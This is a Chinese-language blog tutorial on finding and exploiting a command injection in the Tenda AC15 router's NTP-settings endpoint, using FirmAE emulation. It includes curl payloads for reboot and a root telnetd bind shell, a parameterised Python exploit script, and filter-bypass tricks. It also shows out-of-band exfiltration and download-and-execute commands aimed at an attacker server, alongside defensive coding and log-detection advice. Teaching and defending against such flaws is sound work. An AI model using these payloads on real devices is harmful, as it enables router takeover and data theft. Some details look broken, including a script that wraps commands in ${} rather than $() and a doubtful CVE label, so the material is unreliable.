跳到主要内容 物联网固件 Web 管理接口漏洞挖掘与命令注入实战 | 极客日志
Python
物联网固件 Web 管理接口漏洞挖掘与命令注入实战 介绍物联网设备 Web 管理接口中的命令注入漏洞原理及挖掘实战。通过 FirmAE 模拟 Tenda AC15 固件环境,演示了漏洞定位、Payload 构造及 Root 权限获取过程,并提供 Python 自动化利用脚本。同时阐述了防御方案,包括输入验证、参数化执行及最小权限原则,适用于 IoT 安全审计与渗透测试。
HadoopMan 发布于 2026/4/5 更新于 2026/4/13 1 浏览前言
1. 技术背景
在物联网(IoT)设备的攻击面中,Web 管理接口是最常见、最脆弱的入口之一。几乎所有路由器、摄像头、智能家居网关等设备都提供一个基于 Web 的图形化界面,用于配置和管理。这个接口直接暴露在网络中,其安全性直接决定了整个设备甚至整个内部网络的安危。在整个攻防体系中,针对 Web 管理接口的攻击,是获取设备控制权最高效的路径之一。
2. 使用场景
本技术广泛应用于以下实际工作场景:
渗透测试 :在对企业或家庭网络进行授权安全评估时,挖掘路由器、交换机等网络设备的控制权。
安全研究 :分析主流 IoT 厂商的固件,发现未知漏洞并负责任地上报。
:在 IoT 产品开发阶段,模拟黑客攻击,提前发现并修复安全问题。
产品安全(SDL)
CTF 竞赛 :在物联网相关的赛题中,固件分析和 Web 漏洞挖掘是关键的得分点。
一、Web 管理接口与命令注入漏洞是什么
1. 精确定义 物联网设备 Web 管理接口 是指嵌入在设备固件中的一个微型 Web 服务器(如 httpd、lighttpd、goahead 等),它通过 HTTP/S 协议提供一个图形化网页,允许用户通过浏览器配置设备的网络设置、系统功能、查看状态等。
命令注入漏洞 (Command Injection) 是一种安全缺陷,当 Web 应用程序需要调用操作系统命令来执行某些功能时,如果未能正确过滤或净化用户输入的数据,攻击者便可以将恶意的系统命令'注入'到正常的命令执行流中,从而让设备以 Web 服务进程的权限(通常是 root 权限)执行任意代码。
2. 一个通俗类比 想象一下你去一家智能餐厅点餐。你通过一个触摸屏(Web 管理接口 )点了一份'宫保鸡丁'。
正常流程 :服务员(Web 应用程序 )接收到'宫保鸡丁'这个输入,告诉后厨(操作系统 ):'做一份宫保鸡丁'。
漏洞利用 :你发现触摸屏有个漏洞,在菜名后面可以加一些特殊指令。于是你输入了:'宫保鸡丁;再把今天所有的账单都免了'(gongbaojiding; rm -f all_bills.txt)。
攻击成功 :服务员没有检查你的输入,直接把整句话传给了后厨。后厨师傅做完宫保鸡丁后,看到了后面的指令,于是真的把所有账单都销毁了(恶意命令被执行 )。
在这个类比中,你的恶意输入'污染'了正常的指令,导致了意料之外的严重后果。
3. 实际用途 在 IoT 设备中,Web 管理接口经常使用系统命令来完成一些'接地气'的功能,例如:
网络诊断 :提供 ping 或 traceroute 功能,让用户测试网络连通性。
系统重启 :调用 reboot 命令重启设备。
配置更新 :执行脚本来应用新的网络配置。
固件升级 :调用 mtd write 等命令刷写新固件。
这些功能点都是命令注入漏洞的高发区。一旦利用成功,攻击者可以直接获得设备的最高控制权限。
4. 技术本质说明 命令注入的本质是数据与代码的混淆 。Web 应用程序将用户提供的数据(Data) ,不加处理地拼接到了将要执行的**代码(Code)**字符串中。操作系统在解析这条拼接后的命令时,无法区分哪些是原始指令,哪些是攻击者注入的恶意指令,从而导致了代码执行。
以下是一段存在漏洞的 PHP 伪代码,用于演示 ping 功能的实现:
<?php
$ip_address = $_GET ['ip' ];
$command = "ping -c 4 " . $ip_address ;
system ($command );
?>
如果用户输入 8.8.8.8,执行的命令是 ping -c 4 8.8.8.8,一切正常。
但如果攻击者输入 8.8.8.8; reboot,那么在 Linux/Unix 系统中,分号(;)是命令分隔符。实际执行的命令就变成了两条:
二、环境准备 为了复现和挖掘 IoT 固件漏洞,我们需要模拟一个真实的设备环境。最有效的方法是使用固件模拟 技术,它可以在我们的 PC 上运行 IoT 设备的操作系统和应用程序。
1. 核心工具:FirmAE FirmAE 是目前最先进、成功率最高的自动化固件模拟与分析工具。它基于 QEMU,并集成了复杂的内核模块和驱动修复技术,能够模拟大量不同架构(ARM, MIPS)的固件。
核心配置命令 :FirmAE 的安装脚本会自动处理所有依赖。
安装过程可能需要 10-30 分钟,请保持网络通畅。
git clone --recursive https://github.com/pr0v3rbs/FirmAE.git
2. 目标固件:Tenda AC15 V15.03.05.19 我们将使用 Tenda AC15 路由器的一个已知存在命令注入漏洞的固件版本作为目标。
mkdir firmwares
cd firmwares
wget https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip
unzip US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip
解压后,你会得到一个名为 US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin 的固件文件。
3. 运行环境命令 使用 FirmAE 的 run.sh 脚本来启动固件模拟。
命令格式 :./run.sh [-c] <brand> <firmware_path>
后续运行(直接启动) :
分析成功后,FirmAE 会生成一个 ID。下次可以直接用 ID 启动,速度更快。
cd ..
./run.sh -c Tenda firmwares/US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
FirmAE 会开始分析固件(解包、识别架构、网络配置等),然后启动 QEMU 虚拟机。当看到类似 [+] VM is running. Here is the network configuration: 的输出时,表示模拟成功。记下输出中的IP 地址 ,例如 192.168.0.1,这就是模拟设备的 Web 管理接口地址。
现在,打开你的浏览器,访问 http://<模拟设备的 IP 地址>(例如 http://192.168.0.1),你应该能看到 Tenda 路由器的登录界面。我们的实验环境已准备就绪。
三、核心实战:挖掘 formSetSysTime 命令注入漏洞 我们将通过一个完整的流程,实战挖掘 Tenda AC15 固件中的一个真实命令注入漏洞。
1. 漏洞点定位与分析 步骤 1:寻找危险功能点
在 Web 管理界面中,寻找那些可能与操作系统交互的功能。我们注意到'系统管理' -> '时间设置'中有一个 NTP 服务器设置功能。用户可以指定一个 NTP 服务器地址,设备会去同步时间。这通常会涉及到网络请求或系统命令调用,是一个可疑点。
步骤 2:抓取 HTTP 请求
打开浏览器的开发者工具(F12),切换到'网络 (Network)'标签。在时间设置页面,随便输入一个 NTP 服务器地址(如 pool.ntp.org),然后点击保存。
我们会抓到一个类似下面的 HTTP POST 请求:
请求 URL : http://192.168.0.1/goform/formSetSysTime
请求方法 : POST
表单数据 : timeType=ntp&ntpServer=pool.ntp.org
步骤 3:固件逆向分析(可选但推荐)
为了确认后端逻辑,我们需要在解压后的固件文件系统中找到处理这个请求的程序。FirmAE 解压的文件系统通常在 scratch/<ID>/image/ 目录下。
通过 grep 命令在文件系统中搜索 URL 关键字 formSetSysTime:
grep -r "formSetSysTime" ./scratch/1/image/
搜索结果会指向 /webroot/goform/formSetSysTime,并最终定位到一个名为 httpd 的二进制文件。使用 IDA Pro 或 Ghidra 等逆向工具分析 httpd 文件,找到处理 formSetSysTime 请求的函数。
ntpServer = websGetVar(request, "ntpServer" , "" );
sprintf (command, "ntpclient -h %s -s" , ntpServer);
doSystem(command);
代码逻辑清晰地显示,ntpServer 参数被直接拼接到了 ntpclient 命令中,没有进行任何过滤或转义。这就是命令注入漏洞的根本原因 。
2. 漏洞复现与利用 步骤 4:构造初步 Payload
我们可以在 ntpServer 参数中注入命令。一个经典的测试 Payload 是使用反引号(`)或 $()。在 Linux 中,被反引号包裹的内容会作为命令执行,其输出会成为原始命令的一部分。
Payload : $(reboot)
构造的表单数据 : timeType=ntp&ntpServer=$(reboot)
步骤 5:发送恶意请求
我们可以使用 curl 工具来发送这个构造好的 POST 请求。
curl -X POST \
-d 'timeType=ntp&ntpServer=$(reboot)' \
http://192.168.0.1/goform/formSetSysTime
响应 (Response) : 你可能不会收到任何有意义的响应,或者是一个超时的错误,因为设备在处理完请求后立即开始重启。
验证 : 观察运行 FirmAE 的终端窗口,你会看到 QEMU 虚拟机退出的日志,或者尝试再次 ping 192.168.0.1 会发现网络不通。这证明 reboot 命令已成功执行。
POST /goform/formSetSysTime HTTP/1.1
Host: 192.168.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
timeType=ntp&ntpServer=$(reboot)
步骤 6:获取反弹 Shell
重启设备只是证明了漏洞存在。真正的目标是获取一个交互式的Shell 。我们可以通过注入一个反弹 Shell 的命令来实现。
Payload : $(/bin/busybox telnetd -l /bin/sh -p 1234)
这个命令利用设备自带的 busybox 工具开启一个 telnet 服务,监听在 1234 端口。
-l /bin/sh 参数指定当有人连接上来时,给他一个 shell (/bin/sh)。
Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]' .
id
uid=0(root) gid=0(root)
uname -a
Linux (none) 4.4.16
当你看到 # 提示符并执行 id 命令返回 uid=0(root) 时,恭喜你,已经成功获取了设备的 root 权限!这就是一个完整的命令注入漏洞利用实战 。
连接 Shell :
命令发送成功后,立即在你的攻击机上使用 telnet 连接模拟设备的 1234 端口。
curl -X POST \
-d 'timeType=ntp&ntpServer=$(/bin/busybox telnetd -l /bin/sh -p 1234)' \
http://192.168.0.1/goform/formSetSysTime
3. 自动化攻击脚本 在实战中,手动测试效率低下。下面是一个使用 Python 编写的自动化攻击脚本,它封装了上述攻击流程,并增加了错误处理和参数化。
import requests
import sys
import argparse
def check_vulnerability (target_ip: str , command: str ) -> bool :
"""
发送带有命令注入 payload 的请求来测试漏洞。
:param target_ip: 目标设备的 IP 地址。
:param command: 需要注入并执行的命令。
:return: 如果请求成功发送则返回 True,否则返回 False。
"""
target_url = f"http://{target_ip} /goform/formSetSysTime"
payload = f"${{{command} }}"
data = {"timeType" : "ntp" , "ntpServer" : payload}
print (f"[*] 目标 URL: {target_url} " )
print (f"[*] 注入的命令:{command} " )
print (f"[*] 发送的 POST 数据:{data} " )
try :
response = requests.post(target_url, data=data, timeout=5 )
print (f"[+] 请求已发送,状态码:{response.status_code} " )
return True
except requests.exceptions.Timeout:
print ("[+] 请求超时。这可能意味着命令正在执行(例如重启),攻击可能已成功!" )
return True
except requests.exceptions.RequestException as e:
print (f"[-] 请求失败:{e} " )
return False
def main ():
""" 主函数,解析命令行参数并执行攻击。 """
parser = argparse.ArgumentParser(description="Tenda AC15 formSetSysTime 命令注入漏洞 (CVE-2018-5767) 利用脚本" )
parser.add_argument("target_ip" , help ="目标路由器的 IP 地址 (例如:192.168.0.1)" )
parser.add_argument("command" , help ="希望在目标设备上执行的命令 (例如:'reboot' 或 '/bin/busybox telnetd -l /bin/sh -p 1234')" )
if len (sys.argv) < 3 :
parser.print_help()
sys.exit(1 )
args = parser.parse_args()
print ("--- [ Tenda AC15 命令注入利用程序 ] ---" )
print ("--- [ 仅限授权测试环境使用 ] ---" )
if check_vulnerability(args.target_ip, args.command):
print ("\n[*] 攻击载荷已发送。" )
if "telnetd" in args.command:
print (f"[*] 请尝试手动连接后门:telnet {args.target_ip} <port>" )
elif "reboot" in args.command:
print (f"[*] 设备可能正在重启。请尝试 ping {args.target_ip} 进行确认。" )
else :
print ("\n[-] 攻击失败。目标可能不存在漏洞或无法访问。" )
if __name__ == "__main__" :
main()
python3 exploit.py 192.168.0.1 "reboot"
python3 exploit.py 192.168.0.1 "/bin/busybox telnetd -l /bin/sh -p 1234"
这个脚本展示了如何将手动发现的漏洞转化为一个可复用、参数化的攻击工具 。
四、进阶技巧
1. 常见错误与绕过思路
错误:Payload 被过滤
现象 :注入的命令(如 reboot)没有执行,Web 界面返回错误或无变化。
原因 :开发者可能过滤了空格、分号 (;)、管道符 (|) 等特殊字符。
绕过思路 :
替换空格 :使用 ${IFS}(Internal Field Separator)变量代替空格。例如,ls -l 变为 ls${IFS}-l。
编码绕过 :使用 base64 编码 payload,在目标上解码执行。例如:echo "cmVib290" | base64 -d | sh。cmVib290 是 reboot 的 base64 编码。
利用其他分隔符 :&&、||、换行符 (\n,URL 编码为 %0a) 都可以作为命令分隔符。
错误:命令无回显
现象 :命令执行了,但你看不到任何输出结果(例如,你想执行 ls 查看文件列表)。
原因 :Web 服务通常不会将 stdout 或 stderr 返回给 HTTP 响应。
解决方案(带外数据 OOB - Out-of-Band) :
HTTP 请求带出 :ls / > /tmp/listing.txt; /bin/busybox wget http://<你的 IP>/cat /tmp/listing.txt。这会让设备访问一个 URL,文件名就是 ls 的结果。
DNS 请求带出 :ping $(ls|tr '\n' '-').your.dnslog.com。在 DNSLog 平台查看子域名访问记录,就能看到目录列表。
反弹 Shell :这是最直接的解决方案,如前所示。
2. 性能/成功率优化
使用 wget 或 curl 下载执行 :如果注入的命令太长,可能会被 Web 服务器的缓冲区限制。可以先注入一个短命令,从你的服务器下载一个更复杂的脚本来执行。
Payload: $(wget http://<你的 IP>/payload.sh -O /tmp/p.sh; sh /tmp/p.sh)
寻找通用二进制文件 :不同固件的工具集不同。busybox 几乎是所有 IoT 设备标配,优先使用 busybox 内置的命令(如 busybox wget, busybox telnetd)可以提高 payload 的通用性。
关闭看门狗 (Watchdog) :很多设备有硬件或软件看门狗,如果主进程崩溃,会自动重启设备。获取 shell 后,第一件事可能是通过 kill 命令杀掉看门狗进程,防止意外重启。
3. 原理图:命令注入执行流程 下面是使用 Mermaid 绘制的命令注入攻击时序图,清晰地展示了各个组件的交互流程。
sequenceDiagram
participant Attacker
participant Browser
participant Server
participant OS
Attacker->>Browser: Craft malicious input (reboot)
Browser->>Server: POST ntpServer=injected_value
Server->>Server: Read parameter ntpServer
Server->>OS: Execute ntpclient with injected argument
OS->>OS: Run first command ntpclient
OS->>OS: Run second command reboot
OS-->>Server: Process may terminate
Server-->>Browser: Timeout or no response
Browser-->>Attacker: Show error
OS-->>Attacker: Verify reboot
这张图直观地展示了从攻击者构造输入到操作系统最终执行恶意命令的全过程。
五、注意事项与防御 安全的核心是攻防一体。了解如何攻击,是为了更好地防御。
1. 风险提示
法律风险 :严禁在未经授权的设备上进行测试 。所有演示和代码都必须在自己搭建的、合法的、隔离的测试环境中进行。非法入侵计算机信息系统是犯罪行为。
设备损坏风险 :错误的命令(特别是涉及闪存读写的 mtd 命令)可能导致设备'变砖',即永久性损坏。
2. 开发侧安全代码范式 防御命令注入的核心原则是:永远不要信任用户的输入 ,并坚持数据与代码分离 。
输入验证与净化 (白名单) :
如果无法使用 exec 族函数,退而求其次的方案是严格的输入验证。
#include <stdbool.h>
#include <string.h>
#include <ctype.h>
bool is_valid_hostname (const char * host) {
for (int i = 0 ; host[i]!='\0' ; i++){
if (!isalnum (host[i]) && host[i]!='.' && host[i]!='-' ){
return false ;
}
}
return true ;
}
char * ntp_server = get_user_input("ntpServer" );
if (is_valid_hostname(ntp_server)){
} else {
}
正确写法 (参数化执行) :
使用 exec 族函数(如 execl, execve),将命令和参数作为独立的数组元素传递给操作系统。这样,用户的输入永远被当作一个完整的参数,而不会被解析为多条命令。
#include <unistd.h>
char * ntp_server = get_user_input("ntpServer" );
char * args[] = {
"/usr/sbin/ntpclient" ,
"-h" ,
ntp_server,
"-s" ,
NULL
};
execve("/usr/sbin/ntpclient" , args, NULL );
char command[256 ];
char * ntp_server = get_user_input("ntpServer" );
sprintf (command, "ntpclient -h %s -s" , ntp_server);
system(command);
3. 运维侧加固方案
最小权限原则 :绝不使用 root 权限运行 Web 服务。创建一个专用的低权限用户(如 www-data)来运行 httpd 进程。这样即使发生命令注入,攻击者也只能获得一个受限的 shell,破坏力大大降低。
关闭不必要的服务 :设备上不应运行 telnetd 等不安全的服务。Web 接口本身也应可以被用户选择关闭。
网络访问控制 :默认情况下,Web 管理接口只应在局域网(LAN)内访问,禁止从广域网(WAN)直接访问。
部署 Web 应用防火墙 (WAF) :在更大型的 IoT 网关或商业设备上,可以部署轻量级的 WAF 来过滤恶意的 HTTP 请求。
4. 日志检测线索
Web 服务器日志 (access.log) : 检查 POST 请求的 body 部分,如果包含 reboot, wget, telnetd, sh 等关键字,或 ;, |, `, $() 等特殊字符,则有可能是攻击。
系统日志 (syslog) :
查找由 Web 服务进程(如 httpd)产生的异常子进程,例如 httpd 启动了 sh 或 telnetd。
监控异常的网络连接,例如设备突然向一个陌生的公网 IP 发起连接(可能是反弹 shell 或 wget 下载)。
审计 ntpclient 等工具的执行日志,如果其参数包含异常字符,应立即告警。
总结
核心知识 :物联网 Web 管理接口的命令注入漏洞源于将未经验证的用户输入直接拼接到系统命令中执行。其本质是服务器混淆了数据与代码。
使用场景 :此技术是 IoT 设备渗透测试、安全审计和 CTF 比赛中的核心技能,用于获取设备的最高控制权。
防御要点 :防御的核心是代码层面采用参数化执行(如 execve)替代命令拼接,并遵循最小权限原则,避免使用 root 权限运行 Web 服务。
知识体系连接 :命令注入是 Web 安全漏洞的经典类型之一。掌握它之后,可以进一步学习与之相关的代码注入 、SQL 注入 等,它们的原理都是相通的。在 IoT 领域,它通常是漏洞利用链的第一步,后续会连接到固件提取 、内核提权 、持久化后门 等更高级的主题。
进阶方向 :
自动化挖掘 :学习使用 radare2、angr 等工具进行二进制文件的静态/动态分析,自动化地寻找危险函数(如 system)到用户输入的完整数据流路径。
架构差异 :深入研究 MIPS、ARM 等不同 CPU 架构下的 Shellcode 编写和漏洞利用技巧。
加密通信 :学习如何解密和分析基于 HTTPS 的加密 Web 接口。
微信扫一扫,关注极客日志 微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
相关免费在线工具 curl 转代码 解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
Base64 字符串编码/解码 将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
Base64 文件转换器 将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
Markdown 转 HTML 将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML 转 Markdown 互为补充。 在线工具,Markdown 转 HTML在线工具,online
HTML 转 Markdown 将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML 转 Markdown在线工具,online
JSON 压缩 通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online